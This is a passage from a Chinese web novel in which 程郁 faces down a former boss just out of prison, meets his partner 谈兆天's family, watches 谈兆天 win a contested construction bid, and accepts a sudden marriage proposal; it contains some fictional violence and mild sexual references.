柳大宇瞪眼：“我就必须吃这口哑巴亏，自己坐够牢，由着他在外面快活潇洒？” “陈平我警告你，” 柳大宇抬手指他：“我当年认罪，这牢可是替你们几个一起坐了，现在你有什么立场这么劝我？” 陈平回：“柳总，你搞搞清楚，当年那笔钱，你分得最多，你是去坐了牢，你那是为钱坐的牢，不是为我们几个。” 又分析道：“今时不同往日了，好吧。” “人家程郁，现在是真的混得好，你轻易动不了他的呀。” “他的老板，是经纬的陆泽深，一手把他提拔上来的，还不知道两人有没有什么不清不楚的关系。” “这个陆泽深，别看他只是个投资公司的CEO，据说背景深得不得了。” “以前做游资的季匀，你知道的，他现在管着几个大基金，基金圈里红得不得了，程郁和季匀也认识。” “上次在银灰大厦，我还看见程郁和双子星楼的贺晓远贺总一起，说说笑笑，关系看起来就好。” “程郁现在认识的人，随便一个，稍微动动手帮帮忙，你都不能拿他怎么样的呀。” “你说这样的人，你去跟他掺和什么，得罪不起的呀！” “放屁！” 柳大宇骂道：“你这么说，他现在混得比你都好了？” 陈平手一摊：“本来就是啊！人家季匀鸟都不鸟我，沙龙上和程郁走得不要太近。” “思普瑞思的贺总，我更是没说过几句话，人家偏偏又和程郁聊得你来我往。” “程郁他就是混得很好啊！” “滚滚滚。” 柳大宇听得头都大了。 陈平劝：“真的，你听我的，拿了钱，早点换个城市生活，别理以前的人以前的事了，没必要。” “你找程郁，程郁要是火了，真动关系要铲掉你，你不是自己招惹麻烦吗？” 和陈平见了一面，柳大宇更不爽了。 他根本不信陈平的话，他知道程郁没背景，他不信程郁短短几年能混得这么好。 根本不信！ 但等他回租的房子，对着笔记本电脑插上程郁给他的那个U盘，看清U盘里的内容，柳大宇愕然震惊的同时冒了一后背的虚汗。 程郁他……程郁他！ 柳大宇一下拔了U盘，把U盘狠狠地砸在地上，还气愤羞恼地用脚不停去踩。 次日午饭前，程郁和谈兆天开着宾利来新公司这边。 两人说笑着刚下车，柳大宇突然冒出来，指着程郁的鼻子：“姓程的！你他妈……” 谈兆天反应很快，几乎一下来到程郁身前，把程郁挡在了自己身后。 正常情况，谈兆天这样唬人的样貌和身高，是个人看见他就得有所顾虑。 但突然冒出来的男人就像看不见他似的，只看着程郁，抬手指着程郁，嘴里不停骂着，还从口袋里摸出什么，扔过来，被谈兆天伸手挥开。 “我告诉你，老子不怕你，我他妈刚从监狱出来，大不了……” 谈兆天冷着脸上前，一把攥住男人的领口将他按去了旁边的一辆SUV上。 柳大宇还在骂骂咧咧，骂得很脏，也很疯。 程郁走向地上的U盘，弯腰捡起来，看了看，走向柳大宇。 他来到被按在车旁的柳大宇面前，举了举手里的u盘，淡定的：“这里面的东西，够你进去再坐几年牢。” “柳大宇，你要真不在乎，现在怒什么？” 柳大宇只顾着骂：“我艹你妈！……” 没说完就啪一声挨了谈兆天一巴掌：“嘴巴放干净！” 程郁依旧淡定的，把u盘再次塞进了刘大宇衬衫前的口袋里，还好整以暇地拍了拍，说：“带着u盘，滚吧。” “再来找我，你可以试试。” “你如果不信，我们就拭目以待，看看是我先倒霉，还是你先被公安找上。” 柳大宇怒喝：“你这个千人艹万人骑的……” 谈兆天直接给了他肚子一拳。 柳大宇脸都白了，腰背也弓了起来，跪到地上。 谈兆天还要再收拾他两拳，程郁伸手，牵住男人：“不用管他，走吧。” 白着脸、一脸痛苦的柳大宇被留下，程郁和谈兆天自顾走了。 进电梯，不等谈兆天问，程郁边抬手挽了男人的胳膊，边淡定道：“他是我第一份工作的领导，因为一些情况，我送他进监狱坐了几年牢。最近他刚出来，想找我麻烦。” 谈兆天拧着眉：“没人能找你麻烦。” 程郁笑，转身，来到男人面前，抬手抚了抚谈兆天衬衫肩膀上的一点褶皱，特别淡定地说道：“放心吧，难道在你心里，我这点自保的能力也没有吗？” “好歹遇到你之前，我靠自己也混得不错的，对吧？” 谈兆天还拧着眉，看程郁：“那个u盘里是什么？” 程郁又抚了抚男人领口前襟，依旧淡定的：“昨天他找我，我给他的。” “当年送他进去，我找到不少他捞公款的证据。” “我没全交给公安，留了点。” “那个U盘里的东西，够他再进去蹲五年。” 谈兆天抬手，握住程郁的手，蹙着眉说：“从没有听你提过这件事。” “你应该告诉我的，你告诉我，我绝对不会让他找上你。” “不用啊。” 程郁面对谈兆天，将手轻轻搭在男人胸前，从容沉稳的：“我可以自己解决，不是事事都要靠你。” “你刚刚也看到了，他恼羞成怒，什么话都说不出来，就知道骂我。” “他如果真能把我怎么样，怎么可能只是指着我的鼻子骂我。” 程郁看着谈兆天的眼睛，沉着的：“几年前我能送他进去，现在，他就更不可能动得了我。” “我如果连这点自保对抗的能力都没有，这些年岂不是白混了。” 谈兆天这才没说什么。 不久，两人下楼，柳大宇已经不在了。 谈兆天冷着脸瞥了眼刚刚柳大宇站着的地方，表情沉得仿佛像要吃人。 程郁牵他的手走向宾利：“走吧，不用管他。” “他骂也骂过了，不会再来找我了。” “他没这个胆子。” 到餐厅，坐下，吃上午饭，程郁大致和谈兆天说了下当年的事：“我和柳大宇处得不好，一个项目上出了点问题，他要拿我当替罪羊，我不想丢掉工作，就检举了他，告发他做假项目套公司公款，送他进去坐了几年牢。” 谈兆天没蹙眉了，但神色还是沉着的，问：“只是处得不好？” 程郁吃着饭：“我不听他话。他看我长得好看，经常带我去应酬，让我给人陪酒，还想我给人陪床，我不干，就得罪了他。” 谈兆天马上拧起眉心，饭都不吃了，放下筷子。 程郁笑笑，宽慰：“放心吧，我的脾气，怎么可能委屈自己去做那些事。” “我后来不也没事么，还送他进去坐牢了。” 程郁只是三言两语、轻轻松松，谈兆天却知道当年绝对不会这么简单。 谈兆天手伸去桌上，掌心向上，示意程郁。 程郁把手递过去，被谈兆天抓住，握在掌心里。 谈兆天看着程郁，面带关切：“我知道你可能不想提以前有多不容易。” “以前我们不认识，我也没办法帮你。” “答应我，以后遇到类似的事，不管是什么，都告诉我，好吗。” “我可以帮你，你就让我帮你。” “我不想你身上再发生这样的情况。” “你既然知道他快出狱了，就应该告诉我。” “你告诉我了，至少我不会让他再来找你。” “知道啦。” 程郁回视男人：“我不是故意不告诉你，我只是没想起来要和你说下，何况小事，我自己能解决。” 玩笑道：“我们谈老板是做大生意的，哪儿能让你管这种小事啊。” “你的事怎么会是小事。” 谈兆天又伸了另一只手过来，两只手一起握住程郁的手：“我们在一起，你的事，无论大小，无论以前的现在的未来的，我当然都想知道。” 程郁点头，温和的：“好，我以后都告诉你，什么都告诉你。” 就这样，柳大宇短暂地出现，又火速消失得干干净净。 程郁根本懒得去想柳大宇现在在哪儿、在做什么、会不会再来找自己。 他的人生，他目前的阶段，早就是柳大宇之流追赶企及不上的了。 他不会停留，他只会继续往前走。 十月底，程郁公司注册下来，取名‘仕鸿’。 十一月，‘仕鸿’和程郁在CBD乃至本地商界的人力资源圈大火了一把。 因为程郁挖走了自己曾经的顶头上司、经纬的前CEO陆泽深和陆泽深的一个项目团队，同时促成了陆泽深跳槽斯普瑞斯，成为思普项目组的总经理，其中牵涉的薪水高达上亿，令仕鸿拿到了一笔非常可观的巨额佣金。 消息刚一流出，就在CBD传了个便。 仕鸿也随之进入白领金领们的视野。 而有关程郁的小道消息也变成了：仕鸿的程总啊？超帅的！巨有钱，开一辆宾利。 单身吗？ 不是哦，据说有男朋友，和男朋友可恩爱了，经常在CBD楼下一起吃饭，好多人都遇见过。 早上，程郁到公司，刚进，正忙碌着的公共办公区内的员工纷纷打招呼：“程总，早。” “早。” 程郁右手是一杯咖啡，左手的怀里是一束鲜花。 他和同事们打招呼，径直穿过办公区，向自己办公室走去。 走得轻快又得体稳重，风衣的衣角随步伐轻轻摇曳，姿态容貌清隽英俊、风姿卓越。 第58章 程郁拎着两个纸袋进包厢的时候，谈兆天还没到。 他一进门，看见包厢圆桌边坐着的两道身影，未语先笑，打招呼：“嫂子，大哥，你们好。” 江悦明和谈征正凑在一起看纸质菜单，闻言同时抬头。 看见程郁，见来人容貌英俊、气质出尘，本人比照片还好看，均是眼前一亮。 江悦明展颜笑了，谈征打量着眼前的年轻男人，程郁已经来到了桌边，把手里两个纸袋递向了正准备起身的江悦明，说：“第一次见，准备的一点小礼物。” 江悦明起身接过来，笑回：“有心了。” 他把纸袋递给谈征，对程郁自然热情地说道：“本来还说上个月见见你，和你吃顿饭。” “后来和朋友约了出去玩儿，浪到这个月才回家。” 程郁坐下，也聊着：“那边好玩吗，兆天说你们去了云城那边。” 江悦明在倒茶，倒完把杯子摆去转台上，转给程郁。 “还不错。” “我们过去转了大半个月，也没特意玩儿什么景点，就当去散心了。” 程郁：“听说那里有个庙蛮灵的……” 江悦明年近40，却看不出年纪，很英俊，有些清瘦。 谈征完全就是谈兆天的翻版，已经十一月了，还穿着短袖，露出两个胳膊的大片纹身，不笑的样子像板着脸，比谈兆天更唬人，一看就跟hei社会大哥一样。 谈征话少，没说什么，一直是程郁在和江悦明聊。 而程郁无论说什么，会看江悦明，也会看谈征，大大方方的，一直带着笑颜，能说会道，开朗热情。 谈兆天到的时候，程郁和江悦明已经一起点完菜了，程郁正和江悦明谈征聊自己公司的一些情况。 谈兆天一进门，先看的程郁，然后才看向江悦明和谈征，边坐下边喊了两人：“大哥，嫂子。” 谈征这回开口了，看着谈兆天，眉头有些拧着，不爽的神情，说：“你现在的规格已经高到要让所有人等你了？” “最近在打标书，事情有点多。” 谈兆天解释得非常随意，说着就伸胳膊搭去了程郁后肩，脸也凑了过去，亲了下程郁的脸，自顾低声和程郁道：“今天没加班？” 程郁转头看他，说着两人间的小话：“吃饭啊，当然不加班。” 又嗅了嗅鼻子，说：“你喝酒了？” 谈兆天解释：“喝了点，中午有个饭局。” 说着脱掉外面的西服外套，露出了里面的古驰短袖，和手腕上戴的表。 表带不知怎么的，松了，谈兆天正要重新去扣表带，程郁伸手过去，替他把表重新戴好了。 江悦明见状默默低头笑，又看向谈征，眼神示意：是恩爱的小两口呢。 谈征本来很不爽谈兆天到这么晚、让大家等他一个，看见谈兆天和程郁腻歪，这才没说什么，不满的表情也收了起来。 江悦明打圆场，问谈兆天：“这两天很忙？” 谈兆天坐在程郁身边，拿起程郁面前的杯子喝了口水，说：“滨江区的那个乐园快到截标期了，最近在赶标书。” 江悦明知道这件事，说：“拿得下吗？总投资两三百亿的项目，你们只负责其中一项的承建，标书就得用卡车装了吧？” “我是觉得摊子大，蛮麻烦的。” 谈征哼了声，说：“心野。” 谈兆天没多言：“有得赚，当然做。” 谈征：“赚多少你能满意？” 程郁笑着圆场：“可能因为养我比较费钱吧。” 江悦明也扒拉了一下谈征：“你少说两句，你又不管生意。” 说着笑看程郁：“别理他，他就这样，凶巴巴的，尤其喜欢凶你老公，看他不爽就要叼上去两句。” 而就是这样对自己亲弟弟也冷个臭脸的男人，吃饭的时候，一直在关照江悦明，给爱人夹菜、剥虾。 谈兆天也在剥虾，给程郁剥。 江悦明一看这兄弟俩就好笑，边笑边隔着桌子和程郁挤眼睛。 程郁也笑。 这顿饭吃得还不错，程郁算是真正和谈兆天的大哥嫂子认识了。 程郁也主动加了江悦明和谈征的微信。 饭毕，一起开车回家，坐在副驾的江悦明对开车的谈征道： “你看见了吗，你弟现在都开始穿名牌了。” “他以前就几件坎肩，轮着穿，我看了就烦。” “现在可算穿得像模像样点了。” 评价：“蛮好的，这样生活上有个关照，终于不是一个人随随便便混混了。” 江悦明又说：“小天找的这个男朋友真不错啊。” “长得帅，性格又好，还自己开公司，这么有事业心。” 谈征语气没有起伏地说道：“听说给他转钱就转了有一个亿。” 哼道：“没见过这么追人的，还真是不怕遇到捞男。” “别这么说。” 江悦明道：“我听季匀和晓远都提过程郁。对他评价都蛮好的。” “程郁还把他以前的老板挖给了晓远，很会为人处世，能力也强。” “再说了……” 江悦明揶揄：“就你弟弟，去哪儿都开个大G，真要捞他，真被人盯上，早贴过来了，哪儿会追那么久都追不到啊。” “人家长那么帅，混得又不差，小天想追，当然得砸钱。” “不然怎么追？上下嘴皮子一碰、用空气追啊？” 谈征板着脸：“我不管他，他自己的钱，他爱给谁给谁。” 默了默，嘀咕了句：“臭小子，现在倒是学会心疼人了，还学我剥虾。” 江悦明：“哪有只剥虾啊，还给程郁挽袖子、擦手了，程郁去卫生间，他还帮程郁把骨碟换了，人家比你都贴心。” 又说：“看出来了吧，你弟是真喜欢，不然他那性格，怎么可能这么体贴。” 谈征：“人家喜欢他吗？还是喜欢他的钱？” “你真是！” 江悦明伸手拍他：“说点好的。” “你这是刻板印象，觉得砸钱追的，追到的就不是真心的。” 江悦明嫌弃道：“你还有脸说小天，你二十几岁的时候，比你弟狂一万倍，来接我去看电影都得开跑车，还得是敞篷的。” 谈征：“我是真爱，他是吗。” 江悦明伸手过去拧男人耳朵：“是是是，你是真爱，真会往自己脸上贴金。” 谈征不说了，抓了江悦明伸过来的手，低头亲了亲。 这边，程郁和谈兆天还在餐厅门口的停车位上。 谈兆天上了车，程郁没去副驾，腿一抬，车脚踏一踩，侧着坐进了谈兆天怀里，抓着男人的领子，扯向自己，故作不满道：“今天没有一起吃午饭就算了，我知道你这两天忙。” “昨天、前天、大前天、前前天，也都没有。” 程郁扯男人领子，不爽：“你要造反啊？怎么，泡到手了，感情淡了？” 谈兆天忍俊不禁，凑近就要亲程郁，程郁的手抵着他，不让他亲。 谈兆天便解释：“真的忙，马上是截标期。” “标重要我重要？” 程郁“胡搅蛮缠”，继续抓着男人的领口，直视男人：“我还不值你几亿的标吗？” “值。” 谈兆天也很喜欢程郁这样，像是傲娇小猫。 他从善如流：“你重要。” 程郁又扯了扯领子，看着男人：“陪我吃午饭吗？” “陪。” 谈兆天抿着笑。 程郁故意作了下：“每天都陪吗？” 谈兆天笑看怀里的程郁，顺着：“好，每天都陪。” “骗子！” 程郁哼，凑近，牙尖咬了咬男人的下巴：“你又说你忙，又说每天陪我。” “大骗子！就会忽悠我！” 谈兆天闷笑，手抬起，搂了程郁的后脑，深深地吻了片刻，吻得程郁身上也沾染了些酒味，吻得屁股下面有什么顶着。 唇分，程郁不作了，挨着谈兆天，正经道：“你嫂子蛮好相处的。” “不过我能感觉出来，你大哥对我就没那么亲切。” 问：“他是不是知道我花了你很多钱，所以对我有点不满啊？” “不是。” 谈兆天解释：“他不是针对你，是针对我。” “他觉得我砸钱追人有问题，不认可。” “他觉得真爱就不应该牵扯钱。” 程郁想了想：“他和你嫂子是学生时代就有感情的‘纯爱’，所以觉得你这样就不是真爱。” 说着搂了谈兆天的脖子，探讨道：“你觉得我们是真爱吗。” “还用问？” 谈兆天顶了顶。 “没正经。” 程郁拍了他一下，又问：“你觉得我喜欢你吗？” 谈兆天抚着程郁的脸，反问：“你和我在一起开心吗？” “开心啊，肯定很开心啊。” 程郁大方承认，一点都不扭捏。 “那不就行了。” 谈兆天搂着程郁的腰：“和喜欢的人在一起才会开心。” “你当然喜欢我。” 说着亲亲程郁的嘴唇。 是这样的吗？ 程郁心里其实对此是有点疑惑的。 他觉得“爱”“喜欢”这类，应该是种别样的心绪和感觉。 可他和谈兆天在一起这么久了，他一直没觉得有什么别样的或者特别的心情心绪感觉。 他觉得他可能还没有真正爱上谈兆天。 但谈兆天始终觉得他是喜欢自己的。 好吧。 程郁没纠结。 自从九月，他阳历生日，他们真正在一起之后，程郁觉得谈恋爱还是蛮好的。 很甜蜜，也日渐亲密。 他们又一起养着老虎，就像一家三口一样。 平时工作日，程郁和谈兆天白天会各忙各的，有空一起吃午饭，没空就拉倒。 晚上回来，如果早，两人会一起吃晚饭，吃完一起带老虎下楼溜达散步，时不时再逛逛超市，公寓附近转转。 周末，两人会约会，出门看看展、逛逛景点、吃好吃的，拍很多两人一起的合照，做所有情侣都会做的事情。 程郁以前旁观别人恋爱，觉得逛街吃饭能有什么意思，等到自己，和谈兆天一起做这些，他觉得还是蛮好玩的，也很甜蜜，从来没觉得无聊过。 如果不出门，他也喜欢窝在公寓，和谈兆天一起给老虎洗澡、撸狗，做点吃的、聊天、看电影、泡澡、做/爱…… 总之，在一起两个月，这恋爱谈得程郁非常满意，也很开心甜蜜。 这会儿坐在谈兆天怀里，对比走纯爱路线的大哥和嫂子，程郁略微思考了下自己到底有没有喜欢上谈兆天这件事。 就在他出神的时候，谈兆天从身边的扶手箱里拿出什么，从程郁头顶套了进去，给程郁戴上了。 第59章 嗯？ 程郁下意识低头，这才发现谈兆天给他戴了一个观音像的翡翠吊坠。 看成色，不用想，就知道肯定又是高货。 程郁把观音坠子拿起来看了看，说：“不拿去卖，又给我了？” 谈兆天平时就喜欢时不时给程郁送点东西，还喜欢挑值钱的送。 “嗯。” 谈兆天靠着椅背，搂着程郁，解释：“以前都是从云南那边进货，最近换了，直接从缅国那边弄的货源。” 程郁好奇：“这种得有当地的关系吧？也得懂怎么挑货吧？” 谈兆天：“咖什那儿到处都是做这个的，用不了什么关系。懂怎么挑货，不被人骗就行。” 又说：“改天有时间，带你去逛逛。” 程郁手上摸着观音像，脸凑近，亲了亲男人：“谢谢啦~又送我东西，都要把我惯坏了。” 谈兆天笑了笑，他就喜欢程郁这样，程郁从来不吝啬表达自己，也不吝啬对伴侣的夸赞。 在相处中，程郁也不被动，能主动就主动，给人的感官和反应都很积极正向，是非常棒的爱人。 谈兆天忍不住就道：“嫁吗。” 程郁捏捏他的嘴巴，像哄孩子一样，声音清亮道：“小嘴巴，不说话。” “小眼睛，看黑板。” “一二三，坐坐好。” 谈兆天忍俊不禁，笑得胸口都在抖。 程郁拍他胸口：“喝酒了还坐这儿，去隔壁，我开车。” 等回去了，谈兆天拉了程郁就去程郁租的那边的公寓，一进门，就把程郁推去岛台。 洗过澡躺回床上，程郁挨在谈兆天颈边，商量着说：“我那边的公寓我租了两年，马上十二月快到期了，你觉得我还要继续租吗？” “我现在都不回去睡觉了，老虎也不能过去玩儿，我在想，要不我不租了吧。” “嗯。” 谈兆天中午喝了酒，刚刚做过、又洗过澡，这会儿整个人都流露着餍足后的松散。 他搂着程郁，闭着眼睛，说：“这里也退租，我们结婚，到时候重新买房子，老虎也能住。” 程郁好笑：“谁要跟你结婚啊。” 聊回来：“那我就和房东说我退租了，到时候临时先搬过来。” “要是有别的合适的房子，我们再搬。” 谈兆天还闭着眼睛：“当然要结婚，你只能嫁给我。” “不嫁吗。” “我哪里没达标，你说，我马上跟进。” 程郁：“你当做项目，还跟进。” 谈兆天没再聊这个，亲了亲程郁的发顶：“退租吧，搬过来，我们一起住。” “你要是觉得这里小，我们就换套别的。” “不管结不结婚，我们也是要一起住一起睡的。” 说完道：“真不结婚？” “好了。” 程郁：“喝醉了啊？张口闭口结婚。” “嗯。” 谈兆天闭着眼睛，像是困了准备睡了，说：“你不理我的时候我想追你，追到你，就想结婚，结婚了，就想天天和你泡在一起。” 程郁听着，心里软软痒痒的。 他凑过去，亲了亲男人的下巴：“睡吧，别想了。只要感情好，肯定会和你结婚的。这个你不用担心。” 周末，程郁带上自己的笔记本电脑去了谈兆天最近正忙的那家建筑公司。 公司内最近因为滨江区的那个乐园项目忙疯了，从内到外无论哪里，公司任何一个角落，都堆满了文件，专门放标书的大会议室更是地上桌上摆满了纸，包括谈兆天的办公室。 程郁过来，谈兆天就去忙了。 他一个人在办公室，用了谈兆天的办公桌，没碰桌上的东西，把自己的笔记本找地方摆好，插上电，看文件。 办公室正前方有面大玻璃窗，程郁抬头，就能通过玻璃看见在外面和同事们一起忙碌的谈兆天。 程郁忙自己的，偶尔抬眼看下外面，但看的不是谈兆天，而是一个年轻男生——白白净净的，没有特别帅，耐看可爱的长相，叫苏玉。 程郁为什么看他？ 因为程郁之前来过建筑公司这边，被他意外发现，苏玉喜欢谈兆天，看谈兆天的目光神情明显和看其他人不同。 程郁发现了之后就私下问过谈兆天，谈兆天说苏玉是这边合伙人的老婆的弟弟，被合伙人安排过来上班的。 合伙人也是谈兆天的兄弟之一，曾经想把小舅子苏玉介绍给他，但他没有看上苏玉，也不喜欢苏玉。 这会儿苏玉在谈兆天身边忙来忙去走来走去，程郁看见，兀自笑了下。 他可没有吃味，他就是觉得有点好玩儿——程郁第一次来公司的时候，苏玉就表现出了明显的抵触，公司的一些人算是谈兆天的小弟，见了程郁会喊嫂子或者天嫂，但苏玉不喊，还暗自翻白眼，被程郁看见了。 今天程郁来公司的时候，看见苏玉又翻白眼，就特意点了苏玉，让他给自己倒杯咖啡。 苏玉特别不情愿地倒了，送进办公室，送进来的时候还板着脸，不爽的样子。 程郁就逗他，说：“你知道吗，你们天哥可喜欢我了。” 苏玉脸都气红了，扭头出了办公室，程郁笑得不行。 今天，整个公司的所有人都在加班加点，因为下周三早上十点半就是截标期，可公司的标书还没有完全做完。 程郁不懂这些，也不太明白为什么会这么赶，正常来说，如果是他，周三是deadline，他至少要保证有两个工作日来应对突发情况，不至于只剩几天了，标书还没有做好。 程郁独自在办公室忙了会儿，起身，出去，去了大会议室。 会议室内白茫茫一片，到处都是摞成小山一样的文件。 里面站了不少人，有人在看标书内容，有人在整理，有人在敲骑缝章。 程郁走到谈兆天身边，见谈兆天在看着一个女同事敲骑缝章，问：“周三十点前能赶出来吗？” “必须能。” 谈兆天抱着胳膊，酷酷地立着：“最晚，十点半前一定能送到标书。” 后面两天，谈兆天几乎每晚凌晨才回家。 程郁早习惯和他一起睡了，就等他，自己先在沙发上抱着老虎眯一会儿，等谈兆天回来。 程郁问谈兆天能不能中标，谈兆天说80%的概率。 程郁：“我以为你有关系，一定能中标。” 谈兆天沉稳地说：“不管有没有关系，都能中。” “利润在五千万到八千万之间，这笔钱，我赚定了。” 男人笃定又自信沉稳的样子在程郁看来非常迷人。 谈兆天又在凌晨的深夜搂着程郁说：“好多天没有做，等截标，好好操一操。” 程郁觉得谈兆天说这种话的神情语气也很迷人。 等到了周三，陪着谈兆天一起去送标书，程郁亲眼目睹了投标人才能经历的“惊心动魄”—— 三辆卡车运送的标书，到了送达地点的大厦，却意外碰见电梯停运——后来程郁才知道，这是有一起竞标的其他公司在从中作梗。 谈兆天一个电话叫来一群小弟，一群人扛着标书走楼梯，送去22层。 结果到了22层，安全通道的门是锁着的，根本推不开，用力拍门，那头也没人帮忙开门。 就在程郁焦虑十点半快到、眼下该怎么办的时候，穿着西服的谈兆天不知从谁手里接过的电锯，边嘴里叼着根没点的烟，边用乌拉转动的电锯生生锯开安全门的门锁，再几脚揣上大门，直接将门踹开了。 还能这样！？ 给程郁看得目瞪口呆。 谈兆天已经丢了嘴里的烟，西服前襟淡定一拢，示意小弟们，带着一群人扛上标书，迈步走向22层的送达地点，于十点半前，顺利送达了所有标书。 程郁跟着看着，心底嘭嘭直跳。 他从来没经历过这样的商务，简直—— 简直野蛮。 也很酷。 太酷了！！ 谈兆天在他眼里man到爆！ 特别炸裂！ 程郁看着男人，心口嘭嘭跳的同时眼睛都直了。 而当晚，谈兆天自己的酒吧，包场，参与投标的全公司的人都在，程郁也在。 十点多，谈兆天在众人的注视下接了一个电话，没有任何流露，嗯嗯两声，淡定地挂了。 接着，谈兆天弯腰去大卡座前的茶几上，从装钱的箱子里拿出一沓钱，抬手往天上一丢，说：“中了。” “喔~！！！” 人群沸腾了，粉色的纸钞满天飞。 酒吧的音乐DJ也随之响起。 卡座的一群人全部举杯，程郁也笑着在喧嚣中举杯庆贺。 谈兆天这时一手酒杯，一手搂了程郁，偏头吻上。 周围的人全在尖叫起哄。 程郁血都热了，他第一次知道谈兆天还有这样的一面。 可谓是生意轰轰烈烈，钱也赚得潇潇洒洒。 爽！太爽了！ 他太喜欢这样的谈兆天了。 man爆了。 man得炸裂！！！ 程郁在起哄声中笑着搂了谈兆天的脖子，觉得人生就该这样轰轰烈烈、潇潇洒洒，大口喝酒，大把赚钱，极致的经历和极度的享受。 当夜，程郁敞了衬衫前襟躺在床上，眼里含着钩子和笑意，看着床边眼神散漫而危险地看着他、同时解着裤带的谈兆天。 程郁笑，说：“什么眼神啊，大老虎。” 谈兆天抽了裤腰的皮带，吊着唇角，笑得很痞，说：“操/死你。” 第60章 中标之后，谈兆天又忙了一段时间，后面就不太忙了，不但有空给程郁做午饭送来公司，还带了已经长得不小的老虎，这里的生意溜达下，那里的店看两眼，让很多小弟都知道谈兆天和程郁养了只黑狗，叫老虎。 而最近几天，谈兆天总和程郁提结婚。 送饭来公司的时候提一嘴，来接程郁下班的时候又在说。 结束的时候，给在很深的地方，谈兆天又要说：“我们早点结婚。” 程郁有点好笑，他们谈了才多久，已经到要结婚的程度了吗？ 谈兆天不知说的真的假的，对程郁提了好几遍：“我去买戒指，跟你求婚，你会答应我吗？” 程郁其实有点不信，虽然他知道谈兆天一直很想和他结婚，但他确实也没想过要这么早结婚。 他也和谈兆天探讨了下：“结婚的话，我们要重新买房子吗？” 谈兆天：“你看，你觉得要买，我们就买，写谁的名字都行，也可以写你一个人的。” “你觉得暂时没有必要买，我们就还先住公寓。” 公寓离CBD近，程郁上下班方便。 程郁聊得很现实：“以后家里的经济财务怎么管？” 谈兆天很直接：“全部给你管，我一概不多问。” “这么大方啊。” 程郁笑。 程郁又问：“那我们要办婚礼吗？” 谈兆天：“我无所谓，你要办，想办大的，我们就办大的，想办小的，我们就办小的。不想办，我们就领个证，请亲戚朋友简单吃个饭。” 程郁：“我们会不会结了婚之后，感情就变淡啊？” 谈兆天说：“我只可能因为做得多，jingye的味道变淡。” 程郁：“你会一直爱我吗？你会出轨吗？” 谈兆天：“我把我的身家都交付给你，我出轨，你就带着我全部的财产远走高飞。” 程郁：“可我还不确定我到底有没有爱上你。” 谈兆天：“你当然爱我，我能感觉到。” 程郁：“你让我想一想啊。” 结果这话说完，程郁上班还没得空细想，这日晚，晚饭后，黄浦江边牵着手挽着胳膊溜达散步，走着走着，没有任何征兆的，谈兆天突然止步屈膝，在程郁面前单膝跪下，手里举着一枚戒指，抬头看着程郁：“嫁吗？” 程郁吓了一跳，在被周围人围观拿手机拍摄之前，赶紧一把捞起男人的胳膊，将人拉起来，拽走：“嫁嫁嫁！行行行！赶紧的，你快起来！” 程郁拉着谈兆天就走，还走得特别快，生怕被人围观。 程郁边走又边抬手锤了男人的胳膊一下，凶：“你有毛病啊当众求婚？” 程郁就怕这个，根本不觉得浪漫。 谈兆天被带着一起快步走，边走边看着程郁，手里的戒指递过去：“你说嫁的。” “知道了。” 程郁嫌弃死了。 他接过戒指，给自己的左手无名指戴上。 “你的呢？” 他戴好，又问谈兆天。 谈兆天来了句：“求婚不是一个戒指就够了吗？” 程郁再锤他：“我一个人结婚啊？” 谈兆天笑着，左手伸过来，示意：“你找这个？” 男人的左手无名指上，赫然是一枚款式相近的戒指。 “你真是……” 程郁又说：“哪有人还没求婚就自己先戴上的。” 谈兆天随程郁那张嘴巴怎么哔哔。 他止步转身，拥抱了程郁：“说好了，结婚。” 对岸就是程郁喜欢的东方塔。 东方塔亮着灯光，岸边是楼宇与城市霓虹。 程郁在他最喜欢的地方，戴着戒指，与谈兆天相拥，简洁又迅速地私定了两人的终生。 程郁有点哭笑不得，哪有这样“逼婚”的。 可他抱着谈兆天，心里的感受是幸福的。 他便想：结吧。已经梭/哈了，结个婚怕什么。 他很信任谈兆天。 他相信，这个男人一定不会让他输。 于是两人牵着手挽着胳膊往回走的时候，程郁边走边和谈兆天商量：“领证的话，得先回家和家里人打个招呼吧？” “嗯。” 谈兆天：“我回去和我大哥嫂子说下。” 程郁：“那我也打个电话回家。” 程郁又问：“你大哥嫂子会不会反对啊？” 谈兆天：“不会。” 程郁想了想：“我妈应该也不会反对。” 程郁：“那我们要办婚礼吗？” 谈兆天：“你想办吗？” 程郁：“不太想，怪麻烦的。主要我认识的人太多了，不好这个请那个不请，都请了，真的就太多了。” 谈兆天：“那就不办。” 程郁：“那我们先领证吧，婚礼缓一缓，反正也不着急。” “嗯。” 谈兆天突然拦腰抱起程郁，转了两圈。 程郁笑着轻瞪：“你干嘛！” 谈兆天有点“春风得意马蹄疾”的意思，边走边道：“你能理解那种心情吗？娶到喜欢的人，比中了标还让人兴奋。像打了场胜仗。” 程郁含笑，揶揄：“你可不就胜了。” 谈兆天颠了颠怀里，走着，说：“回家，我带你去入洞房。” 程郁好笑。 谈兆天突然跑起来。 程郁笑死了，又怕摔，搂了男人的脖子。 周围人听到动静，都扭着脖子在看他们。 夜里，做完，程郁搂着谈兆天的脖子坐在浴缸的热水里，被热水熏着，闭着眼睛，说：“结婚了以后，你也会对我这么好吗？” 谈兆天的手臂圈着他：“当然，我发誓。” 程郁：“你不会爱上别人不会出轨？” 谈兆天：“不会，我发誓。” 程郁：“你也不介意我现在可能还没有爱上你？” 谈兆天：“你当然爱我。” 程郁的脸贴在男人颈下：“我也答应你，我会好好待你的。我不会去爱别人，我也不会出轨。” “我会像经营培养我们的感情一样，用心全心地经营我们的婚姻。” 次日，谈兆天就去谈征家里，和谈征、江悦明说，他准备和程郁结婚。 谈征本来在喝水，差点呛一口，也差点把手里的茶杯扔谈兆天头上。 谈征唬着脸、拧着眉心，对谈兆天道：“我管不着你结不结婚、和谁结婚，但你确定，你找的人，真的爱你，不是只爱你的钱？” 坐在旁边的江悦明马上伸手拍了谈征一下：“你干嘛这么说啊，你这样不是在说程郁不好吗？” 又赶紧对谈兆天道：“你知道的，你哥不是不喜欢程郁，他这人就这样，死脑筋，还凶。” “他是怕你年轻冲动，没有想好就结婚，最后没有好结局，他也是为你好。” 江悦明说完又去说谈征：“你真的是，人家程郁挺好的孩子，到你嘴里，谁都不是好人，谁都觊觎你们家的家产和臭钱。” 谈征指谈兆天：“你让他是个穷光蛋试试，他是穷光蛋，谁还理他？” 谈兆天一向是不和谈征顶嘴的，这时说了句：“非得是穷光蛋才能有真爱？那世界上的真爱都是乞丐的？” “臭小子！” 谈征作势要把手里的茶杯丢过去。 江悦明果断道：“不用理你哥，我说了算。我觉得程郁蛮好的，要结婚就去结吧。” “回头看看要不要和程郁家里走个什么流程。” 